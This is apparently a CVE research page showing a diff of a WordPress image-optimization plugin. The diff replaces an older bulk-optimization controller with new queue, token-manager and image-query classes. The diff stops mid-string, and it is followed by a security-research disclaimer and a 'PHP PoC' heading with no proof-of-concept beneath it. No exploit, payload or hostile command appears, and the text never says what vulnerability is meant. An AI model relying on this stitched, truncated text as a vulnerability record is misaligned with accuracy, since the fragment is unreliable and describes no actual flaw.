-	private static function obtain_bulk_token( int $images_count ): ?string {
-		try {
-			$response = Utils::get_api_client()->make_request(
-				'POST',
-				self::OBTAIN_TOKEN_ENDPOINT,
-				[
-					'images_count' => $images_count,
-				]
-			);
-		} catch ( Throwable $t ) {
-			Logger::log( Logger::LEVEL_ERROR, 'Error while sending bulk token request: ' . $t->getMessage() );
-
-			throw new Bulk_Token_Obtaining_Error( $t->getMessage() );
-		}
-
-		return $response->token ?? null;
-	}
-
-	/**
-	 * Checks if there is a bulk optimization operation in progress.
-	 * If there is at least a single active bulk optimization operation it returns true, otherwise false.
-	 *
-	 * @return bool
-	 * @throws Async_Operation_Exception
-	 */
-	public static function is_optimization_in_progress(): bool {
-		$query = ( new Image_Optimization_Operation_Query() )
-			->set_hook( Async_Operation_Hook::OPTIMIZE_BULK )
-			->set_status( [ Async_Operation::OPERATION_STATUS_PENDING, Async_Operation::OPERATION_STATUS_RUNNING ] )
-			->set_limit( 1 )
-			->return_ids();
-
-		return ! empty( Async_Operation::get( $query ) );
-	}
-
-	/**
-	 * Checks if there is a bulk re-optimization operation in progress.
-	 * If there is at least a single active bulk re-optimization operation it returns true, otherwise false.
-	 *
-	 * @return bool
-	 * @throws Async_Operation_Exception
-	 */
-	public static function is_reoptimization_in_progress(): bool {
-		$query = ( new Image_Optimization_Operation_Query() )
-			->set_hook( Async_Operation_Hook::REOPTIMIZE_BULK )
-			->set_status( [ Async_Operation::OPERATION_STATUS_PENDING, Async_Operation::OPERATION_STATUS_RUNNING ] )
-			->set_limit( 1 )
-			->return_ids();
-
-		return ! empty( Async_Operation::get( $query ) );
-	}
-
-	/**
-	 * Retrieves the bulk optimization process status.
-	 *
-	 * @return array{status: string, stats: array}
-	 * @throws Async_Operation_Exception
-	 */
-	public static function get_status(): array {
-		$stats = Optimization_Stats::get_image_stats();
-
-		$output = [
-			'status' => 'not-started',
-			'percentage' => round( $stats['optimized_image_count'] / $stats['total_image_count'] * 100 ),
-		];
-
-		$active_query = ( new Image_Optimization_Operation_Query() )
-			->set_hook( Async_Operation_Hook::OPTIMIZE_BULK )
-			->set_status( [ Async_Operation::OPERATION_STATUS_PENDING, Async_Operation::OPERATION_STATUS_RUNNING ] )
-			->set_limit( -1 );
-
-		if ( empty( Async_Operation::get( $active_query ) ) ) {
-			return $output;
-		}
-
-		$output['status'] = 'in-progress';
-
-		return $output;
-	}
-
-	/**
-	 * Returns latest operations for the bulk optimization screen.
-	 *
-	 * @param string|null $operation_id
-	 *
-	 * @return array
-	 * @throws Async_Operation_Exception
-	 */
-	public static function get_processed_images( string $operation_id ): array {
-		$output = [];
-
-		$query = ( new Image_Optimization_Operation_Query() )
-			->set_hook( Async_Operation_Hook::OPTIMIZE_BULK )
-			->set_bulk_operation_id( $operation_id )
-			->set_limit( 50 );
-
-		$operations = Async_Operation::get( $query );
-
-		foreach ( $operations as $operation ) {
-			$image_id = $operation->get_args()['attachment_id'];
-			$image = new Image( $image_id );
-
-			try {
-				$stats = Optimization_Stats::get_image_stats( $image_id );
-			} catch ( Invalid_Image_Exception $iie ) {
-				continue;
-			} catch ( Throwable $t ) {
-				$original_file_size = 0;
-				$current_file_size = 0;
-			}
-
-			$output[] = [
-				'id' => $operation->get_id(),
-				'status' => $operation->get_status() === Async_Operation::OPERATION_STATUS_COMPLETE
-					? ( new Image_Meta( $image_id ) )->get_status()
-					: $operation->get_status(),
-				'image_name' => $image->get_attachment_object()->post_title,
-				'image_id' => $image_id,
-				'thumbnail_url' => $image->get_url( 'thumbnail' ),
-				'original_file_size' => $stats['initial_image_size'],
-				'current_file_size' => $stats['current_image_size'],
-			];
-		}
-
-		return $output;
-	}
-}
--- a/image-optimization/modules/optimization/classes/bulk-optimization/bulk-optimization-controller.php
+++ b/image-optimization/modules/optimization/classes/bulk-optimization/bulk-optimization-controller.php
@@ -0,0 +1,278 @@
+<?php
+
+namespace ImageOptimizationModulesOptimizationClassesBulk_Optimization;
+
+use ImageOptimizationClassesAsync_Operation{
+	Async_Operation,
+	Async_Operation_Hook,
+	Async_Operation_Queue,
+	ExceptionsAsync_Operation_Exception,
+	QueriesImage_Optimization_Operation_Query
+};
+use ImageOptimizationClassesImage{
+	ExceptionsInvalid_Image_Exception,
+	Image,
+	Image_Meta,
+	Image_Optimization_Error_Type,
+	Image_Query_Builder,
+	Image_Status
+};
+use ImageOptimizationClassesExceptionsQuota_Exceeded_Error;
+use ImageOptimizationClassesLogger;
+use ImageOptimizationModulesStatsClassesOptimization_Stats;
+use Throwable;
+
+// @codeCoverageIgnoreStart
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+// @codeCoverageIgnoreEnd
+
+final class Bulk_Optimization_Controller {
+	/**
+	 * Cancels pending bulk optimization operations.
+	 *
+	 * @return void
+	 * @throws Async_Operation_Exception
+	 */
+	public static function delete_bulk_optimization(): void {
+		$queue = new Bulk_Optimization_Queue( Bulk_Optimization_Queue_Type::OPTIMIZATION );
+
+		if ( $queue->exists() ) {
+			foreach ( $queue->get_image_ids() as $image_id ) {
+				$meta = new Image_Meta( $image_id );
+				$status = $meta->get_status();
+
+				if ( Image_Status::OPTIMIZATION_IN_PROGRESS === $status ) {
+					$meta->delete();
+				}
+			}
+
+			$queue->delete();
+		}
+
+		$query = ( new Image_Optimization_Operation_Query() )
+			->set_hook( Async_Operation_Hook::OPTIMIZE_BULK )
+			->set_status( [ Async_Operation::OPERATION_STATUS_PENDING, Async_Operation::OPERATION_STATUS_RUNNING ] )
+			->set_limit( 1 );
+
+		$operation = Async_Operation::get( $query );
+
+		if ( ! empty( $operation ) ) {
+			Async_Operation::remove( [ $operation[0]->get_id() ] );
+		}
+	}
+
+	/**
+	 * Creates a queue for bulk optimization and schedules the processor.
+	 *
+	 * @return void
+	 * @throws Quota_Exceeded_Error|Invalid_Image_Exception|Async_Operation_Exception
+	 */
+	public static function create_optimization_queue(): void {
+		$images = Bulk_Optimization_Image_Query::find_images(
+			( new Image_Query_Builder() )
+				->return_not_optimized_images(),
+			true
+		);
+
+		Logger::debug( 'Non-optimized images found: ' . $images['total_images_count'] );
+
+		if ( ! $images['total_images_count'] ) {
+			$not_fully_optimized_images = Bulk_Optimization_Image_Query::find_images(
+				Bulk_Optimization_Image_Query::query_not_fully_optimized_images(),
+				true
+			);
+
+			Logger::debug( 'Non fully optimized images found: ' . $images['total_images_count'] );
+
+			if ( ! $not_fully_optimized_images['total_images_count'] ) {
+				Logger::debug( 'Bulk optimization not started' );
+
+				return;
+			}
+
+			$images = $not_fully_optimized_images;
+		}
+
+		$token_data = Bulk_Optimization_Token_Manager::obtain_token( $images['total_images_count'] );
+		$queue = new Bulk_Optimization_Queue( Bulk_Optimization_Queue_Type::OPTIMIZATION );
+
+		Logger::debug( "Bulk token obtained for {$token_data['batch_size']} images" );
+
+		$queue
+			->set_bulk_token(
+				$token_data['token'],
+				time() + HOUR_IN_SECONDS,
+				$token_data['batch_size']
+			)
+			->set_status( Bulk_Optimization_Queue_Status::PROCESSING )
+			->add_images( $images['attachments_in_quota'] )
+			->save();
+
+		Logger::info( "New queue {$queue->get_operation_id()} created" );
+
+		Async_Operation::create(
+			Async_Operation_Hook::OPTIMIZE_BULK,
+			[ 'operation_id' => $queue->get_operation_id() ],
+			Async_Operation_Queue::OPTIMIZE
+		);
+
+		Logger::debug( 'Async operation created' );
+
+		foreach ( $images['attachments_in_quota'] as $image_id ) {
+			( new Image_Meta( $image_id ) )
+				->set_status( Image_Status::OPTIMIZATION_IN_PROGRESS )
+				->set_retry_count( 0 )
+				->set_error_type( null )
+				->save();
+		}
+	}
+
+	/**
+	 * Creates a queue for bulk reoptimization and schedules the processor.
+	 *
+	 * @return void
+	 * @throws Quota_Exceeded_Error|Invalid_Image_Exception|Async_Operation_Exception
+	 */
+	public static function create_reoptimization_queue(): void {
+		$images = Bulk_Optimization_Image_Query::find_images(
+			( new Image_Query_Builder() )
+				->return_optimized_images()
+		);
+
+		if ( ! $images['total_images_count'] ) {
+			return;
+		}
+
+		$token_data = Bulk_Optimization_Token_Manager::obtain_token( $images['total_images_count'] );
+		$queue = new Bulk_Optimization_Queue( Bulk_Optimization_Queue_Type::REOPTIMIZATION );
+
+		$queue
+			->set_bulk_token(
+				$token_data['token'],
+				time() + HOUR_IN_SECONDS,
+				$token_data['batch_size']
+			)
+			->set_status( Bulk_Optimization_Queue_Status::PROCESSING )
+			->add_images( $images['attachments_in_quota'] )
+			->save();
+
+		Async_Operation::create(
+			Async_Operation_Hook::REOPTIMIZE_BULK,
+			[ 'operation_id' => $queue->get_operation_id() ],
+			Async_Operation_Queue::OPTIMIZE
+		);
+
+		foreach ( $images['attachments_in_quota'] as $image_id ) {
+			( new Image_Meta( $image_id ) )
+				->set_status( Image_Status::REOPTIMIZING_IN_PROGRESS )
+				->set_retry_count( 0 )
+				->set_error_type( null )
+				->save();
+		}
+
+		// Handle images out of quota
+		foreach ( $images['attachments_out_of_quota'] as $image_id ) {
+			( new Image_Meta( $image_id ) )
+				->set_status( Image_Status::REOPTIMIZING_FAILED )
+				->set_error_type( Image_Optimization_Error_Type::QUOTA_EXCEEDED )
+				->save();
+		}
+	}
+
+	/**
+	 * Checks if there is a bulk optimization operation in progress.
+	 * If there is at least a single active bulk optimization operation it returns true, otherwise false.
+	 *
+	 * @return bool
+	 */
+	public static function is_optimization_in_progress(): bool {
+		$queue = new Bulk_Optimization_Queue( Bulk_Optimization_Queue_Type::OPTIMIZATION );
+
+		return $queue->exists() && Bulk_Optimization_Queue_Status::PROCESSING === $queue->get_status();
+	}
+
+	/**
+	 * Checks if there is a bulk re-optimization operation in progress.
+	 * If there is at least a single active bulk re-optimization operation it returns true, otherwise false.
+	 *
+	 * @return bool
+	 */
+	public static function is_reoptimization_in_progress(): bool {
+		$queue = new Bulk_Optimization_Queue( Bulk_Optimization_Queue_Type::REOPTIMIZATION );
+
+		return $queue->exists() && Bulk_Optimization_Queue_Status::PROCESSING === $queue->get_status();
+	}
+
+	/**
+	 * Retrieves the bulk optimization process status.
+	 *
+	 * @return array{status: string, stats: array}
+	 */
+	public static function get_status(): array {
+		$stats = Optimization_Stats::get_image_stats();
+
+		$percentage = 0;
+		if ( $stats['total_image_count'] > 0 ) {
+			$percentage = round( $stats['optimized_image_count'] / $stats['total_image_count'] * 100 );
+		}
+
+		$output = [
+			'status' => 'not-started',
+			'percentage' => $percentage,
+		];
+
+		$queue = new Bulk_Optimization_Queue( Bulk_Optimization_Queue_Type::OPTIMIZATION );
+
+		if ( ! $queue->exists() ) {
+			return $output;
+		}
+
+		$output['status'] = 'in-progress';
+
+		return $output;
+	}
+
+	/**
+	 * Returns latest operations for the bulk optimization screen.
+	 *
+	 * @return array
+	 */
+	public static function get_processed_images(): array {
+		$output = [];
+		$queue = new Bulk_Optimization_Queue( Bulk_Optimization_Queue_Type::OPTIMIZATION );
+
+		if ( ! $queue->exists() ) {
+			return $output;
+		}
+
+		$images = $queue->get_images();
+		$images = array_slice( $images, 0, 50 );
+
+		foreach ( $images as $queue_image ) {
+			$image_id = $queue_image['id'];
+
+			try {
+				$image = new Image( $image_id );
+				$stats = Optimization_Stats::get_image_stats( $image_id );
+			} catch ( Throwable $t ) {
+				continue;
+			}
+
+			$meta = new Image_Meta( $image_id );
+
+			$output[] = [
+				'id' => $image_id,
+				'status' => $meta->get_status(),
+				'image_name' => $image->get_attachment_object()->post_title,
+				'image_id' => $image_id,
+				'thumbnail_url' => $image->get_url( 'thumbnail' ),
+				'original_file_size' => $stats['initial_image_size'],
+				'current_file_size' => $stats['current_image_size'],
+			];
+		}
+
+		return $output;
+	}
+}
--- a/image-optimization/modules/optimization/classes/bulk-optimization/bulk-optimization-image-query.php
+++ b/image-optimization/modules/optimization/classes/bulk-optimization/bulk-optimization-image-query.php
@@ -0,0 +1,133 @@
+<?php
+
+namespace ImageOptimizationModulesOptimizationClassesBulk_Optimization;
+
+use ImageOptimizationClassesImage{
+	Image_Meta,
+	Image_Query_Builder,
+	ExceptionsInvalid_Image_Exception,
+	WP_Image_Meta,
+};
+
+use ImageOptimizationClassesExceptionsQuota_Exceeded_Error;
+use ImageOptimizationModulesCoreModule as Core_Module;
+use ImageOptimizationModulesOptimizationClasses{
+	Validate_Image,
+	ExceptionsImage_Validation_Error
+};
+use ImageOptimizationModulesSettingsClassesSettings;
+use ImageOptimizationPlugin;
+
+// @codeCoverageIgnoreStart
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+// @codeCoverageIgnoreEnd
+
+final class Bulk_Optimization_Image_Query {
+	/**
+	 * Looks for images for bulk optimization operations based on a query passed and the quota left.
+	 *
+	 * @param Image_Query_Builder $query Image query to execute.
+	 * @param bool $limit_to_quota If true, it limits image query to the quota left.
+	 * @return array{total_images_count: int, attachments_in_quota: array, attachments_out_of_quota: array}
+	 *
+	 * @throws Invalid_Image_Exception
+	 * @throws Quota_Exceeded_Error
+	 */
+	public static function find_images( Image_Query_Builder $query, bool $limit_to_quota = false ): array {
+		$output = [
+			'total_images_count' => 0,
+			'attachments_in_quota' => [],
+			'attachments_out_of_quota' => [],
+		];
+
+		if ( ! Core_Module::is_elementor_one() ) {
+			$images_left = Plugin::instance()->modules_manager->get_modules( 'connect-manager' )->connect_instance->images_left();
+
+			if ( ! $images_left ) {
+				throw new Quota_Exceeded_Error( __( 'Images quota exceeded', 'image-optimization' ) );
+			}
+
+			if ( $limit_to_quota ) {
+				$query->set_paging_size( $images_left );
+			}
+		}
+
+		$wp_query = $query->execute();
+
+		if ( ! $wp_query->post_count ) {
+			return $output;
+		}
+
+		foreach ( $wp_query->posts as $attachment_id ) {
+			try {
+				Validate_Image::is_valid( $attachment_id );
+				$wp_meta = new WP_Image_Meta( $attachment_id );
+			} catch ( Invalid_Image_Exception | Image_Validation_Error $ie ) {
+				continue;
+			}
+
+			$sizes_count = count( $wp_meta->get_size_keys() );
+
+			if ( ! Core_Module::is_elementor_one() ) {
+				if ( $output['total_images_count'] + $sizes_count <= $images_left ) {
+					$output['total_images_count'] += $sizes_count;
+
+					$output['attachments_in_quota'][] = $attachment_id;
+				} else {
+					break;
+				}
+			} else {
+				$output['total_images_count'] += $sizes_count;
+				$output['attachments_in_quota'][] = $attachment_id;
+			}
+		}
+
+		$output['attachments_out_of_quota'] = array_diff( $wp_query->posts, $output['attachments_in_quota'] );
+
+		return $output;
+	}
+
+	/**
+	 * Looks for images that were optimized, but not all their sizes were processed.
+	 *
+	 * @return Image_Query_Builder
+	 */
+	public static function query_not_fully_optimized_images(): Image_Query_Builder {
+		$result = [];
+		$sizes_enabled = Settings::get( Settings::CUSTOM_SIZES_OPTION_NAME );
+		$optimized_images = ( new Image_Query_Builder() )
+			->return_optimized_images()
+			->execute();
+
+		foreach ( $optimized_images->posts as $attachment_id ) {
+			try {
+				$image_meta = new Image_Meta( $attachment_id );
+				$wp_meta = new WP_Image_Meta( $attachment_id );
+			} catch ( Invalid_Image_Exception $iie ) {
+				continue;
+			}
+
+			$registered_sizes = $wp_meta->get_size_keys();
+			$optimized_sizes = $image_meta->get_optimized_sizes();
+
+			if ( 'all' !== $sizes_enabled ) {
+				$registered_sizes = array_filter( $registered_sizes, function( $size ) use ( $sizes_enabled ) {
+					return in_array( $size, $sizes_enabled, true );
+				} );
+
+				$optimized_sizes = array_filter( $optimized_sizes, function( $size ) use ( $sizes_enabled ) {
+					return in_array( $size, $sizes_enabled, true );
+				} );
+			}
+
+			if ( count( $optimized_sizes ) < count( $registered_sizes ) ) {
+				$result[] = $attachment_id;
+			}
+		}
+
+		return ( new Image_Query_Builder() )
+			->set_image_ids( $result );
+	}
+}
--- a/image-optimization/modules/optimization/classes/bulk-optimization/bulk-optimization-queue-status.php
+++ b/image-optimization/modules/optimization/classes/bulk-optimization/bulk-optimization-queue-status.php
@@ -0,0 +1,19 @@
+<?php
+
+namespace ImageOptimizationModulesOptimizationClassesBulk_Optimization;
+
+use ImageOptimizationClassesBasic_Enum;
+
+// @codeCoverageIgnoreStart
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+// @codeCoverageIgnoreEnd
+
+final class Bulk_Optimization_Queue_Status extends Basic_Enum {
+	public const PENDING = 'pending';
+	public const PROCESSING = 'processing';
+	public const COMPLETED = 'completed';
+	public const FAILED = 'failed';
+	public const CANCELLED = 'cancelled';
+}
--- a/image-optimization/modules/optimization/classes/bulk-optimization/bulk-optimization-queue-type.php
+++ b/image-optimization/modules/optimization/classes/bulk-optimization/bulk-optimization-queue-type.php
@@ -0,0 +1,16 @@
+<?php
+
+namespace ImageOptimizationModulesOptimizationClassesBulk_Optimization;
+
+use ImageOptimizationClassesBasic_Enum;
+
+// @codeCoverageIgnoreStart
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+// @codeCoverageIgnoreEnd
+
+final class Bulk_Optimization_Queue_Type extends Basic_Enum {
+	public const OPTIMIZATION = 'optimization';
+	public const REOPTIMIZATION = 'reoptimization';
+}
--- a/image-optimization/modules/optimization/classes/bulk-optimization/bulk-optimization-queue.php
+++ b/image-optimization/modules/optimization/classes/bulk-optimization/bulk-optimization-queue.php
@@ -0,0 +1,407 @@
+<?php
+
+namespace ImageOptimizationModulesOptimizationClassesBulk_Optimization;
+
+use ImageOptimizationClassesAsync_Operation{
+	Async_Operation,
+	Async_Operation_Hook,
+	ExceptionsAsync_Operation_Exception,
+	QueriesImage_Optimization_Operation_Query,
+};
+
+use ImageOptimizationClassesImage{
+	Image_Meta,
+	Image_Optimization_Error_Type,
+	Image_Status,
+	WP_Image_Meta,
+	ExceptionsInvalid_Image_Exception,
+};
+
+use ImageOptimizationClassesLogger;
+use TypeError;
+
+// @codeCoverageIgnoreStart
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+// @codeCoverageIgnoreEnd
+
+final class Bulk_Optimization_Queue {
+	private const OPTION_PREFIX = 'image_optimizer_bulk_queue_';
+	private const MAX_RETRIES = 3;
+
+	private const INITIAL_QUEUE_VALUE = [
+		'operation_id' => null,
+		'type' => null,
+		'bulk_token' => null,
+		'token_expires_at' => null,
+		'max_batch_size' => null, // Maximum batch size that successfully obtained a token
+		'images_optimized_with_current_token' => 0, // Counter for current token usage
+		'created_at' => null,
+		'status' => Bulk_Optimization_Queue_Status::PENDING,
+		'images' => [], // Array of ['id' => int, 'status' => 'pending'|'completed'|'failed']
+		'stats' => [
+			'total' => 0,
+			'completed' => 0,
+			'failed' => 0,
+			'pending' => 0,
+		],
+		'current_image_id' => null,
+	];
+
+	private string $type;
+	private array $queue_data;
+
+	public function get_operation_id(): ?string {
+		if ( $this->exists() && empty( $this->queue_data['operation_id'] ) ) {
+			$this->queue_data['operation_id'] = wp_generate_password( 10, false );
+			$this->save();
+		}
+
+		return $this->queue_data['operation_id'];
+	}
+
+	public function get_type(): string {
+		return $this->type;
+	}
+
+	public function get_bulk_token(): ?string {
+		return $this->queue_data['bulk_token'];
+	}
+
+	public function get_status(): string {
+		return $this->queue_data['status'];
+	}
+
+	public function get_images(): array {
+		return $this->queue_data['images'];
+	}
+
+	public function get_image_ids(): array {
+		return array_column( $this->queue_data['images'], 'id' );
+	}
+
+	public function get_images_by_status( string $status ): array {
+		if ( ! in_array( $status, Bulk_Optimization_Queue_Status::get_values(), true ) ) {
+			Logger::error( "Status $status is not a part of Bulk_Optimization_Queue_Status values" );
+
+			throw new TypeError( "Status $status is not a part of Bulk_Optimization_Queue_Status values" );
+		}
+
+		return array_filter(
+			$this->queue_data['images'],
+			function ( $image ) use ( $status ) {
+				return $image['status'] === $status;
+			}
+		);
+	}
+
+	public function get_stats(): array {
+		return $this->queue_data['stats'];
+	}
+
+	public function get_current_image_id(): ?int {
+		return $this->queue_data['current_image_id'];
+	}
+
+	public function set_operation_id( string $id ): self {
+		$this->queue_data['operation_id'] = $id;
+
+		return $this;
+	}
+
+	public function set_bulk_token( string $token, int $expires_at, int $batch_size = null ): self {
+		$this->queue_data['bulk_token'] = $token;
+		$this->queue_data['token_expires_at'] = $expires_at;
+
+		// Update max batch size if provided and larger than current
+		if ( null !== $batch_size ) {
+			if ( null === $this->queue_data['max_batch_size'] || $batch_size > $this->queue_data['max_batch_size'] ) {
+				$this->queue_data['max_batch_size'] = $batch_size;
+			}
+		}
+
+		// Reset counter when new token is set
+		$this->queue_data['images_optimized_with_current_token'] = 0;
+
+		return $this;
+	}
+
+	public function get_max_batch_size(): ?int {
+		return $this->queue_data['max_batch_size'];
+	}
+
+	public function increment_optimized_counter(): self {
+		$this->queue_data['images_optimized_with_current_token']++;
+
+		return $this;
+	}
+
+	public function should_refresh_token(): bool {
+		if ( $this->is_token_expiring_soon() ) {
+			return true;
+		}
+
+		// Check if we've exhausted the current batch quota
+		$max_batch = $this->queue_data['max_batch_size'];
+		$optimized_count = $this->queue_data['images_optimized_with_current_token'];
+
+		if ( null !== $max_batch && $optimized_count >= $max_batch ) {
+			return true;
+		}
+
+		// Check if we have enough quota for the next pending image
+		if ( null !== $max_batch ) {
+			$next_image_id = $this->get_next_image();
+
+			if ( $next_image_id ) {
+				try {
+					$wp_meta = new WP_Image_Meta( $next_image_id );
+					$sizes_count = count( $wp_meta->get_size_keys() );
+					$remaining_quota = $max_batch - $optimized_count;
+
+					if ( $sizes_count > $remaining_quota ) {
+						return true;
+					}
+				} catch ( Invalid_Image_Exception $e ) {
+					// If we can't get image meta, continue with current token
+					return false;
+				}
+			}
+		}
+
+		return false;
+	}
+
+	public function set_status( string $status ): self {
+		if ( ! in_array( $status, Bulk_Optimization_Queue_Status::get_values(), true ) ) {
+			Logger::error( "Status $status is not a part of Bulk_Optimization_Queue_Status values" );
+
+			throw new TypeError( "Status $status is not a part of Bulk_Optimization_Queue_Status values" );
+		}
+
+		$this->queue_data['status'] = $status;
+
+		return $this;
+	}
+
+	public function set_current_image_id( ?int $id ): self {
+		$this->queue_data['current_image_id'] = $id;
+
+		return $this;
+	}
+
+	public function add_images( array $image_ids ): self {
+		$existing_ids = array_column( $this->queue_data['images'], 'id' );
+
+		foreach ( $image_ids as $image_id ) {
+			if ( in_array( $image_id, $existing_ids, true ) ) {
+				continue;
+			}
+
+			$this->queue_data['images'][] = [
+				'id' => $image_id,
+				'status' => Bulk_Optimization_Queue_Status::PENDING,
+			];
+
+			$existing_ids[] = $image_id;
+		}
+
+		$this->update_stats();
+
+		return $this;
+	}
+
+	public function get_next_image(): ?int {
+		$pending_images = $this->get_images_by_status( Bulk_Optimization_Queue_Status::PENDING );
+
+		if ( empty( $pending_images ) ) {
+			return null;
+		}
+
+		$first_image = reset( $pending_images );
+
+		return $first_image['id'];
+	}
+
+	public function mark_image_completed( int $image_id ): self {
+		foreach ( $this->queue_data['images'] as &$image ) {
+			if ( $image['id'] === $image_id ) {
+				$image['status'] = Bulk_Optimization_Queue_Status::COMPLETED;
+				break;
+			}
+		}
+
+		unset( $image );
+
+		( new Image_Meta( $image_id ) )
+			->set_retry_count( null )
+			->save();
+
+		$this->update_stats();
+
+		return $this;
+	}
+
+	public function mark_image_failed( int $image_id ): self {
+		$meta = new Image_Meta( $image_id );
+		$retry_count = $meta->get_retry_count() ?? 0;
+		$retry_count++;
+
+		$is_reoptimization = Bulk_Optimization_Queue_Type::REOPTIMIZATION === $this->type;
+
+		// Update Image_Meta with failure and increment retry count
+		$meta->set_status(
+			$is_reoptimization
+				? Image_Status::REOPTIMIZING_FAILED
+				: Image_Status::OPTIMIZATION_FAILED
+		)
+		->set_retry_count( $retry_count )
+		->save();
+
+		// Check if we should retry or mark as permanently failed
+		if ( $retry_count >= self::MAX_RETRIES ) {
+			// Mark as permanently failed in queue
+			foreach ( $this->queue_data['images'] as &$image ) {
+				if ( $image['id'] === $image_id ) {
+					$image['status'] = Bulk_Optimization_Queue_Status::FAILED;
+					break;
+				}
+			}
+			unset( $image ); // Break the reference
+
+			$meta
+				->set_error_type( Image_Optimization_Error_Type::GENERIC )
+				->save();
+		}
+
+		$this->update_stats();
+
+		return $this;
+	}
+
+	public function is_empty(): bool {
+		return empty( $this->queue_data['images'] );
+	}
+
+	public function has_more_images(): bool {
+		return ! empty( $this->get_images_by_status( Bulk_Optimization_Queue_Status::PENDING ) );
+	}
+
+	public function is_token_expired(): bool {
+		if ( ! $this->queue_data['token_expires_at'] ) {
+			return true;
+		}
+
+		return time() >= $this->queue_data['token_expires_at'];
+	}
+
+	public function is_token_expiring_soon(): bool {
+		$buffer_seconds = 5 * MINUTE_IN_SECONDS;
+
+		if ( ! $this->queue_data['token_expires_at'] ) {
+			return true;
+		}
+
+		return time() >= ( $this->queue_data['token_expires_at'] - $buffer_seconds );
+	}
+
+	public function save(): self {
+		update_option( $this->get_option_name(), $this->queue_data, false );
+
+		return $this;
+	}
+
+	public function delete(): bool {
+		$this->cancel_scheduled_actions();
+
+		return delete_option( $this->get_option_name() );
+	}
+
+	/**
+	 * Cancels any scheduled actions associated with this queue.
+	 */
+	private function cancel_scheduled_actions(): void {
+		$operation_id = $this->get_operation_id();
+
+		if ( empty( $operation_id ) ) {
+			return;
+		}
+
+		$hook = Bulk_Optimization_Queue_Type::OPTIMIZATION === $this->type
+			? Async_Operation_Hook::OPTIMIZE_BULK
+			: Async_Operation_Hook::REOPTIMIZE_BULK;
+
+		$query = ( new Image_Optimization_Operation_Query() )
+			->set_hook( $hook )
+			->set_bulk_operation_id( $operation_id )
+			->return_ids()
+			->set_limit( -1 );
+
+		try {
+			$operation_ids = Async_Operation::get( $query );
+			Async_Operation::remove( $operation_ids );
+		} catch ( Async_Operation_Exception $aee ) {
+			Logger::error( "Error while removing redundant actions for the operation `{$operation_id}`" );
+		}
+	}
+
+	public function exists(): bool {
+		return false !== get_option( $this->get_option_name(), false );
+	}
+
+	public function __construct( string $type ) {
+		if ( ! in_array( $type, Bulk_Optimization_Queue_Type::get_values(), true ) ) {
+			Logger::error( "Type $type is not a part of Bulk_Optimization_Queue_Type values" );
+
+			throw new TypeError( "Type $type is not a part of Bulk_Optimization_Queue_Type values" );
+		}
+
+		$this->type = $type;
+		$this->query_queue();
+	}
+
+	private function query_queue(): void {
+		$queue = get_option( $this->get_option_name(), false );
+		$this->queue_data = $queue
+			? array_replace_recursive( self::INITIAL_QUEUE_VALUE, $queue )
+			: self::INITIAL_QUEUE_VALUE;
+
+		if ( ! $this->queue_data['type'] ) {
+			$this->queue_data['type'] = $this->type;
+		}
+
+		if ( ! $this->queue_data['created_at'] ) {
+			$this->queue_data['created_at'] = time();
+		}
+	}
+
+	private function get_option_name(): string {
+		return self::OPTION_PREFIX . $this->type;
+	}
+
+	private function update_stats(): void {
+		$completed = 0;
+		$failed = 0;
+		$pending = 0;
+
+		foreach ( $this->queue_data['images'] as $image ) {
+			switch ( $image['status'] ) {
+				case Bulk_Optimization_Queue_Status::COMPLETED:
+					$completed++;
+					break;
+				case Bulk_Optimization_Queue_Status::FAILED:
+					$failed++;
+					break;
+				case Bulk_Optimization_Queue_Status::PENDING:
+					$pending++;
+					break;
+			}
+		}
+
+		$this->queue_data['stats']['total'] = count( $this->queue_data['images'] );
+		$this->queue_data['stats']['completed'] = $completed;
+		$this->queue_data['stats']['failed'] = $failed;
+		$this->queue_data['stats']['pending'] = $pending;
+	}
+}
--- a/image-optimization/modules/optimization/classes/bulk-optimization/bulk-optimization-token-manager.php
+++ b/image-optimization/modules/optimization/classes/bulk-optimization/bulk-optimization-token-manager.php
@@ -0,0 +1,93 @@
+<?php
+
+namespace ImageOptimizationModulesOptimizationClassesBulk_Optimization;
+
+use ImageOptimizationClassesExceptionsQuota_Exceeded_Error;
+use ImageOptimizationClassesLogger;
+use ImageOptimizationClassesUtils;
+use ImageOptimizationModulesOptimizationClassesExceptionsBulk_Token_Obtaining_Error;
+use Throwable;
+
+// @codeCoverageIgnoreStart
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+// @codeCoverageIgnoreEnd
+
+final class Bulk_Optimization_Token_Manager {
+	private const OBTAIN_TOKEN_ENDPOINT = 'image/bulk-token';
+
+	/**
+	 * Sends a request to the BE to obtain bulk optimization token.
+	 * It prevents obtaining a token for each and every optimization operation.
+	 *
+	 * @param int $images_count Total number of images to optimize.
+	 * @param int|null $max_batch_size Maximum batch size to try (from previous successful attempt).
+	 * @return array
+	 *
+	 * @throws Quota_Exceeded_Error
+	 */
+	public static function obtain_token( int $images_count, int $max_batch_size = null ): array {
+		$base_sequence = [ $images_count, intval( $images_count / 2 ), 100, 50, 25, 10, 5, 1 ];
+
+		if ( null !== $max_batch_size ) {
+			$base_sequence = array_filter( $base_sequence, function( $size ) use ( $max_batch_size ) {
+				return $size <= $max_batch_size;
+			} );
+		}
+
+		$batch_size_sequence = array_unique( $base_sequence, SORT_NUMERIC );
+
+		foreach ( $batch_size_sequence as $batch_size ) {
+			if ( $images_count < $batch_size ) {
+				continue;
+			}
+
+			try {
+				$token = self::request_token_for_count( $batch_size );
+
+				return [
+					'token' => $token,
+					'batch_size' => $batch_size,
+				];
+			} catch ( Quota_Exceeded_Error | Bulk_Token_Obtaining_Error $te ) {
+				Logger::debug( "Quota exceeded for ba

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
